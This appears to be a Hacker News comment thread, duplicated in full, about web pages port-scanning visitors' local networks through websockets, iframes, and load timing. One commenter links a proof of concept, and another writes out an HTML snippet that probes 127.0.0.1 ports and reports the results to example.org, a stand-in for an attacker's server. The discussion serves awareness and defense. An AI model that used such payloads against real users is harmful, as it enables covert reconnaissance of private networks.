7 ms·

This websockets thing is getting more interesting very fast. I wonder how long it'll be before someone finds something truly scary? This is the 3rd post this we

This websockets thing is getting more interesting very fast. I wonder how long it'll be before someone finds something truly scary? This is the 3rd post this week, and each one has found a little bit more. Nothing that seems panic worthy yet. From this one: "In all seriousness, this attack vector is pretty slim. You’ve got to tempt unwitting users to visit your site, and to stay on it while they’re developing JS code."

qppo 6y ago
This is one Show HN post away from an exploit in the wild
- armchairchair 6y ago
  This issues isn't endemic to websockets. I've done this with iframes as well to portscan machines on my LAN. Additionally, the portscan capabilities are even worse than the article states: you can scan any machine reachable from the visitor's machine. Any 192.* address, anything behind your VPN, so long as the time for actively refusing the connection and failing to route are different. I don't know if you can time connections to known hosts to infer things about Tor circuits. Simply call Date.now() when adding the iframe and when that iframe's onerror event fires then diff the two. I think you can do this with img tags, frames, and anything backed by a network call that lets you observe load failures. CORS doesn't save you because you aren't trying to reach into that iframe and run Javascript or access the DOM. A CSP doesn't save you because the site you're visiting is opting to do this and can put whatever they want in their CSP.
  - parliament32 6y ago
    Exactly. This isn't websockets specific, you can portscan happily with pure JS. The issue is that browsers are allowing connections (from untrusted code) to private/loopback address space. This should really be behind a permission.
  - armchairchair 6y ago
    POC https://jsfiddle.net/s9vzxctd/3/ https://jsfiddle.net/s9vzxctd/3/ Tested in Firefox ESR on Linux. Anything with about 3000ms time isn't a routable network address. Anything with a significantly longer or shorter time responds to a ping on my network. Timings vary from browser to browser. NoScript does block the requests before they ever leave your browser, reminding me why I use it.
    - cygx 6y ago
      NoScript isn't sufficient to protect you from this. Eg write a simple HTML file like <link rel="stylesheet" href="http://127.0.0.1:42"> ok If it takes different amounts of time for the page to stop loading and the text to appear depending on the port you checked, you're vulnerable to scans, even when Javascript is disabled.
      - ricardobeat 6y ago
        If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.
        cygx 6y ago
        Instead of merely printing 'ok', the page can request a resource from a server you control, eg via an <img> element. You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested): <meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43"> <link rel="stylesheet" href="http://127.0.0.1:42"> <img src="http://example.org/?checked-port=42">
        deleted 6y ago
        [deleted]
      - user234683 6y ago
        uMatrix can protect against this if you block third party everything by default (which I do).
grimjack00 6y ago
> You’ve got to tempt unwitting users to visit your site, and to stay on it while they’re developing JS code So, something like evil counterparts to HN, reddit, StackOverflow, or latestcatvideos.com.
- Seb-C 6y ago
  After reading this post, I checked my browser console on this page, and you'll never guess what I discovered!

qppo 6y ago

This is one Show HN post away from an exploit in the wild

armchairchair 6y ago
This issues isn't endemic to websockets. I've done this with iframes as well to portscan machines on my LAN. Additionally, the portscan capabilities are even worse than the article states: you can scan any machine reachable from the visitor's machine. Any 192.* address, anything behind your VPN, so long as the time for actively refusing the connection and failing to route are different. I don't know if you can time connections to known hosts to infer things about Tor circuits. Simply call Date.now() when adding the iframe and when that iframe's onerror event fires then diff the two. I think you can do this with img tags, frames, and anything backed by a network call that lets you observe load failures. CORS doesn't save you because you aren't trying to reach into that iframe and run Javascript or access the DOM. A CSP doesn't save you because the site you're visiting is opting to do this and can put whatever they want in their CSP.
- parliament32 6y ago
  Exactly. This isn't websockets specific, you can portscan happily with pure JS. The issue is that browsers are allowing connections (from untrusted code) to private/loopback address space. This should really be behind a permission.
- armchairchair 6y ago
  POC https://jsfiddle.net/s9vzxctd/3/ https://jsfiddle.net/s9vzxctd/3/ Tested in Firefox ESR on Linux. Anything with about 3000ms time isn't a routable network address. Anything with a significantly longer or shorter time responds to a ping on my network. Timings vary from browser to browser. NoScript does block the requests before they ever leave your browser, reminding me why I use it.
  - cygx 6y ago
    NoScript isn't sufficient to protect you from this. Eg write a simple HTML file like <link rel="stylesheet" href="http://127.0.0.1:42"> ok If it takes different amounts of time for the page to stop loading and the text to appear depending on the port you checked, you're vulnerable to scans, even when Javascript is disabled.
    - ricardobeat 6y ago
      If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.
      - cygx 6y ago
        Instead of merely printing 'ok', the page can request a resource from a server you control, eg via an <img> element. You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested): <meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43"> <link rel="stylesheet" href="http://127.0.0.1:42"> <img src="http://example.org/?checked-port=42">
        deleted 6y ago
        [deleted]
    - user234683 6y ago
      uMatrix can protect against this if you block third party everything by default (which I do).

grimjack00 6y ago

> You’ve got to tempt unwitting users to visit your site, and to stay on it while they’re developing JS code So, something like evil counterparts to HN, reddit, StackOverflow, or latestcatvideos.com.

Seb-C 6y ago
After reading this post, I checked my browser console on this page, and you'll never guess what I discovered!